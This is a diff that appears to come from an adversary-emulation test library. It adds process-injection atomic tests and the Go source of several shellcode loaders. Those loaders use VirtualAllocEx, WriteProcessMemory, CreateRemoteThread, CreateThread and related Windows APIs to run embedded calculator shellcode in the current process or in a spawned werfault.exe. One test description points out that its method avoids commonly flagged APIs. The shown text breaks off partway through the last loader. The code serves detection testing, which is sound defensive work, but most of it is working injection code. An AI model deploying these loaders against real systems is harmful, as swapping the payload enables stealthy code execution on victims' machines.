fmt.Println(fmt.Sprintf("[+]Child process STDOUT:\r\n%s", string(stdOutBuffer)))
|
||||
}
|
||||
if len(stdErrBuffer) > 0 {
|
||||
fmt.Println(fmt.Sprintf("[!]Child process STDERR:\r\n%s", string(stdErrBuffer)))
|
||||
}
|
||||
}
|
||||
|
||||
// export GOOS=windows GOARCH=amd64;go build -o CreateProcessWithPipe.exe ./CreateProcessWithPipe.go
|
||||
// test STDERR go run ./CreateProcessWithPipe.go -verbose -debug -program "C:\Windows\System32\cmd.exe" -args "/c whoami /asdfasdf"
|
||||
@@ -162,3 +162,194 @@ atomic_tests:
|
||||
cleanup_command: 'Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force'
|
||||
name: powershell
|
||||
elevation_required: true
|
||||
- name: Process Injection with Go using UuidFromStringA WinAPI
|
||||
description: |
|
||||
Uses WinAPI UuidFromStringA to load shellcode to a memory address then executes the shellcode using EnumSystemLocalesA.
|
||||
With this technique, memory is allocated on the heap and does not use commonly suspicious APIs such as VirtualAlloc, WriteProcessMemory, or CreateThread
|
||||
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#uuidfromstringa)
|
||||
- References:
|
||||
- https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
|
||||
- https://twitter.com/_CPResearch_/status/1352310521752662018
|
||||
- https://blog.securehat.co.uk/process-injection/shellcode-execution-via-enumsystemlocala
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
command: |
|
||||
$PathToAtomicsFolder\T1055\bin\x64\UuidFromStringA.exe -debug
|
||||
cleanup_command: |
|
||||
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
|
||||
- name: Process Injection with Go using EtwpCreateEtwThread WinAPI
|
||||
description: |
|
||||
Uses EtwpCreateEtwThread function from ntdll.dll to execute shellcode within the application's process.
|
||||
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
|
||||
|
||||
Steps taken with this technique
|
||||
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
|
||||
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
|
||||
3. Change the memory page permissions to Execute/Read with VirtualProtect
|
||||
4. Call EtwpCreateEtwThread on shellcode address
|
||||
5. Call WaitForSingleObject so the program does not end before the shellcode is executed
|
||||
|
||||
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#EtwpCreateEtwThread)
|
||||
- References:
|
||||
- https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3
|
||||
- https://www.geoffchappell.com/studies/windows/win32/ntdll/api/etw/index.htm
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
command: |
|
||||
$PathToAtomicsFolder\T1055\bin\x64\EtwpCreateEtwThread.exe -debug
|
||||
cleanup_command: |
|
||||
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
|
||||
- name: Remote Process Injection with Go using RtlCreateUserThread WinAPI
|
||||
description: |
|
||||
Executes shellcode in a remote process.
|
||||
|
||||
Steps taken with this technique
|
||||
1. Get a handle to the target process
|
||||
2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
|
||||
3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
|
||||
4. Change the memory page permissions to Execute/Read with VirtualProtectEx
|
||||
5. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread
|
||||
6. Close the handle to the remote process
|
||||
|
||||
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)
|
||||
- References:
|
||||
- https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike
|
||||
supported_platforms:
|
||||
- windows
|
||||
input_arguments:
|
||||
spawn_process_path:
|
||||
description: Path of the binary to spawn
|
||||
type: string
|
||||
default: 'C:\Windows\System32\werfault.exe'
|
||||
spawn_process_name:
|
||||
description: Name of the process spawned
|
||||
type: string
|
||||
default: werfault
|
||||
executor:
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
command: |
|
||||
$process = Start-Process #{spawn_process_path} -passthru
|
||||
$PathToAtomicsFolder\T1055\bin\x64\RtlCreateUserThread.exe -pid $process.Id -debug
|
||||
cleanup_command: |
|
||||
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
|
||||
Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue
|
||||
- name: Remote Process Injection with Go using CreateRemoteThread WinAPI
|
||||
description: |
|
||||
Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellocde in a remote process.
|
||||
|
||||
This application leverages functions from the golang.org/x/sys/windows package, where feasible, like the windows.OpenProcess().
|
||||
|
||||
Steps taken with this technique
|
||||
1. Get a handle to the target process
|
||||
2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
|
||||
3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
|
||||
4. Change the memory page permissions to Execute/Read with VirtualProtectEx
|
||||
5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
|
||||
6. Close the handle to the remote process
|
||||
|
||||
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethread)
|
||||
- References:
|
||||
- https://www.ired.team/offensive-security/code-injection-process-injection/process-injection
|
||||
supported_platforms:
|
||||
- windows
|
||||
input_arguments:
|
||||
spawn_process_path:
|
||||
description: Path of the binary to spawn
|
||||
type: string
|
||||
default: 'C:\Windows\System32\werfault.exe'
|
||||
spawn_process_name:
|
||||
description: Name of the process spawned
|
||||
type: string
|
||||
default: werfault
|
||||
executor:
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
command: |
|
||||
$process = Start-Process #{spawn_process_path} -passthru
|
||||
$PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThread.exe -pid $process.Id -debug
|
||||
cleanup_command: |
|
||||
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
|
||||
Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue
|
||||
- name: Remote Process Injection with Go using CreateRemoteThread WinAPI (Natively)
|
||||
description: |
|
||||
Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellcode in a remote process.
|
||||
|
||||
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
|
||||
|
||||
1. Get a handle to the target process
|
||||
2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
|
||||
3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
|
||||
4. Change the memory page permissions to Execute/Read with VirtualProtectEx
|
||||
5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
|
||||
6. Close the handle to the remote process
|
||||
|
||||
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethreadnative)
|
||||
supported_platforms:
|
||||
- windows
|
||||
input_arguments:
|
||||
spawn_process_path:
|
||||
description: Path of the binary to spawn
|
||||
type: string
|
||||
default: 'C:\Windows\System32\werfault.exe'
|
||||
spawn_process_name:
|
||||
description: Name of the process spawned
|
||||
type: string
|
||||
default: werfault
|
||||
executor:
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
command: |
|
||||
$process = Start-Process #{spawn_process_path} -passthru
|
||||
$PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThreadNative.exe -pid $process.Id -debug
|
||||
cleanup_command: |
|
||||
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
|
||||
Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue
|
||||
- name: Process Injection with Go using CreateThread WinAPI
|
||||
description: |
|
||||
This program executes shellcode in the current process using the following steps
|
||||
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
|
||||
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
|
||||
3. Change the memory page permissions to Execute/Read with VirtualProtect
|
||||
4. Call CreateThread on shellcode address
|
||||
5. Call WaitForSingleObject so the program does not end before the shellcode is executed
|
||||
|
||||
This program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them
|
||||
|
||||
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthread)
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
command: |
|
||||
$PathToAtomicsFolder\T1055\bin\x64\CreateThread.exe -debug
|
||||
cleanup_command: |
|
||||
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
|
||||
- name: Process Injection with Go using CreateThread WinAPI (Natively)
|
||||
description: |
|
||||
This program executes shellcode in the current process using the following steps
|
||||
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
|
||||
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
|
||||
3. Change the memory page permissions to Execute/Read with VirtualProtect
|
||||
4. Call CreateThread on shellcode address
|
||||
5. Call WaitForSingleObject so the program does not end before the shellcode is executed
|
||||
|
||||
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
|
||||
|
||||
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthreadnative)
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
command: |
|
||||
$PathToAtomicsFolder\T1055\bin\x64\CreateThreadNative.exe -debug
|
||||
cleanup_command: |
|
||||
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,127 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/CreateRemoteThread/main.go
|
||||
|
||||
/*
|
||||
This program executes shellcode in a remote process using the following steps
|
||||
1. Get a handle to the target process
|
||||
1. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
|
||||
2. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
|
||||
3. Change the memory page permissions to Execute/Read with VirtualProtectEx
|
||||
4. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
|
||||
5. Close the handle to the remote process
|
||||
|
||||
This program leverages the functions from golang.org/x/sys/windows WHERE POSSIBLE to call Windows procedures instead of manually loading them
|
||||
*/
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"unsafe"
|
||||
|
||||
// Sub Repositories
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func main() {
|
||||
verbose := flag.Bool("verbose", false, "Enable verbose output")
|
||||
debug := flag.Bool("debug", false, "Enable debug output")
|
||||
// To hardcode the Process Identifier (PID), change 0 to the PID of the target process
|
||||
pid := flag.Int("pid", 0, "Process ID to inject shellcode into")
|
||||
flag.Parse()
|
||||
|
||||
// Pop Calc Shellcode
|
||||
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
|
||||
if errShellcode != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
|
||||
}
|
||||
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
|
||||
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Getting a handle to Process ID (PID) %d...", *pid))
|
||||
}
|
||||
pHandle, errOpenProcess := windows.OpenProcess(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, false, uint32(*pid))
|
||||
|
||||
if errOpenProcess != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling OpenProcess:\r\n%s", errOpenProcess.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully got a handle to process %d", *pid))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", *pid))
|
||||
}
|
||||
addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
|
||||
|
||||
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
|
||||
}
|
||||
|
||||
if addr == 0 {
|
||||
log.Fatal("[!]VirtualAllocEx failed and returned 0")
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", *pid))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", *pid))
|
||||
}
|
||||
_, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
|
||||
|
||||
if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully wrote shellcode to PID %d", *pid))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", *pid))
|
||||
}
|
||||
oldProtect := windows.PAGE_READWRITE
|
||||
_, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully change memory permissions to PAGE_EXECUTE_READ in PID %d", *pid))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Call CreateRemoteThreadEx on PID %d...", *pid))
|
||||
}
|
||||
_, _, errCreateRemoteThreadEx := CreateRemoteThreadEx.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0)
|
||||
if errCreateRemoteThreadEx != nil && errCreateRemoteThreadEx.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling CreateRemoteThreadEx:\r\n%s", errCreateRemoteThreadEx.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[+]Successfully create a remote thread in PID %d", *pid))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling CloseHandle on PID %d...", *pid))
|
||||
}
|
||||
errCloseHandle := windows.CloseHandle(pHandle)
|
||||
if errCloseHandle != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling CloseHandle:\r\n%s", errCloseHandle.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully closed the handle to PID %d", *pid))
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// export GOOS=windows GOARCH=amd64;go build -o CreateRemoteThread.exe ./CreateRemoteThread.go
|
||||
@@ -0,0 +1,134 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/CreateRemoteThreadNative/main.go
|
||||
|
||||
/*
|
||||
This program executes shellcode in a remote process using the following steps
|
||||
1. Get a handle to the target process
|
||||
1. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
|
||||
2. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
|
||||
3. Change the memory page permissions to Execute/Read with VirtualProtectEx
|
||||
4. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
|
||||
5. Close the handle to the remote process
|
||||
|
||||
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
|
||||
*/
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"unsafe"
|
||||
|
||||
// Sub Repositories
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func main() {
|
||||
verbose := flag.Bool("verbose", false, "Enable verbose output")
|
||||
debug := flag.Bool("debug", false, "Enable debug output")
|
||||
// To hardcode the Process Identifier (PID), change 0 to the PID of the target process
|
||||
pid := flag.Int("pid", 0, "Process ID to inject shellcode into")
|
||||
flag.Usage = func() {
|
||||
flag.PrintDefaults()
|
||||
os.Exit(0)
|
||||
}
|
||||
flag.Parse()
|
||||
|
||||
// Pop Calc Shellcode
|
||||
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
|
||||
if errShellcode != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
|
||||
}
|
||||
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
|
||||
OpenProcess := kernel32.NewProc("OpenProcess")
|
||||
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
|
||||
CloseHandle := kernel32.NewProc("CloseHandle")
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Getting a handle to Process ID (PID) %d...", *pid))
|
||||
}
|
||||
pHandle, _, errOpenProcess := OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0, uintptr(uint32(*pid)))
|
||||
|
||||
if errOpenProcess != nil && errOpenProcess.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling OpenProcess:\r\n%s", errOpenProcess.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully got a handle to process %d", *pid))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", *pid))
|
||||
}
|
||||
addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
|
||||
|
||||
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
|
||||
}
|
||||
|
||||
if addr == 0 {
|
||||
log.Fatal("[!]VirtualAllocEx failed and returned 0")
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", *pid))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", *pid))
|
||||
}
|
||||
_, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
|
||||
|
||||
if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully wrote shellcode to PID %d", *pid))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", *pid))
|
||||
}
|
||||
oldProtect := windows.PAGE_READWRITE
|
||||
_, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully change memory permissions to PAGE_EXECUTE_READ in PID %d", *pid))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Call CreateRemoteThreadEx on PID %d...", *pid))
|
||||
}
|
||||
_, _, errCreateRemoteThreadEx := CreateRemoteThreadEx.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0)
|
||||
if errCreateRemoteThreadEx != nil && errCreateRemoteThreadEx.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling CreateRemoteThreadEx:\r\n%s", errCreateRemoteThreadEx.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[+]Successfully create a remote thread in PID %d", *pid))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling CloseHandle on PID %d...", *pid))
|
||||
}
|
||||
_, _, errCloseHandle := CloseHandle.Call(uintptr(uint32(pHandle)))
|
||||
if errCloseHandle != nil && errCloseHandle.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling CloseHandle:\r\n%s", errCloseHandle.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully closed the handle to PID %d", *pid))
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// export GOOS=windows GOARCH=amd64;go build -o CreateRemoteThreadNative.exe ./CreateRemoteThreadNative.go
|
||||
@@ -0,0 +1,112 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/CreateThread/main.go
|
||||
|
||||
/*
|
||||
This program executes shellcode in the current process using the following steps
|
||||
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
|
||||
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
|
||||
3. Change the memory page permissions to Execute/Read with VirtualProtect
|
||||
4. Call CreateThread on shellcode address
|
||||
5. Call WaitForSingleObject so the program does not end before the shellcode is executed
|
||||
|
||||
This program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them
|
||||
*/
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"unsafe"
|
||||
|
||||
// Sub Repositories
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func main() {
|
||||
verbose := flag.Bool("verbose", false, "Enable verbose output")
|
||||
debug := flag.Bool("debug", false, "Enable debug output")
|
||||
flag.Parse()
|
||||
|
||||
// Pop Calc Shellcode
|
||||
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
|
||||
if errShellcode != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode")
|
||||
}
|
||||
addr, errVirtualAlloc := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
|
||||
|
||||
if errVirtualAlloc != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
|
||||
}
|
||||
|
||||
if addr == 0 {
|
||||
log.Fatal("[!]VirtualAlloc failed and returned 0")
|
||||
}
|
||||
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory")
|
||||
}
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
|
||||
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
|
||||
|
||||
if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
|
||||
}
|
||||
|
||||
if *verbose {
|
||||
fmt.Println("[-]Shellcode copied to memory")
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ")
|
||||
}
|
||||
var oldProtect uint32
|
||||
errVirtualProtect := windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
|
||||
if errVirtualProtect != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling CreateThread...")
|
||||
}
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
CreateThread := kernel32.NewProc("CreateThread")
|
||||
thread, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
|
||||
|
||||
if errCreateThread != nil && errCreateThread.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling CreateThread:\r\n%s", errCreateThread.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[+]Shellcode Executed")
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling WaitForSingleObject...")
|
||||
}
|
||||
|
||||
event, errWaitForSingleObject := windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)
|
||||
if errWaitForSingleObject != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling WaitForSingleObject:\r\n:%s", errWaitForSingleObject.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]WaitForSingleObject returned with %d", event))
|
||||
}
|
||||
}
|
||||
|
||||
// export GOOS=windows GOARCH=amd64;go build -o CreateThread.exe ./CreateThread.go
|
||||
@@ -0,0 +1,132 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/CreateThreadNative/main.go
|
||||
|
||||
/*
|
||||
This program executes shellcode in the current process using the following steps
|
||||
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
|
||||
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
|
||||
3. Change the memory page permissions to Execute/Read with VirtualProtect
|
||||
4. Call CreateThread on shellcode address
|
||||
5. Call WaitForSingleObject so the program does not end before the shellcode is executed
|
||||
|
||||
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
|
||||
*/
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"unsafe"
|
||||
|
||||
// Sub Repositories
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
// MEM_COMMIT is a Windows constant used with Windows API calls
|
||||
MEM_COMMIT = 0x1000
|
||||
// MEM_RESERVE is a Windows constant used with Windows API calls
|
||||
MEM_RESERVE = 0x2000
|
||||
// PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
|
||||
PAGE_EXECUTE_READ = 0x20
|
||||
// PAGE_READWRITE is a Windows constant used with Windows API calls
|
||||
PAGE_READWRITE = 0x04
|
||||
)
|
||||
|
||||
func main() {
|
||||
verbose := flag.Bool("verbose", false, "Enable verbose output")
|
||||
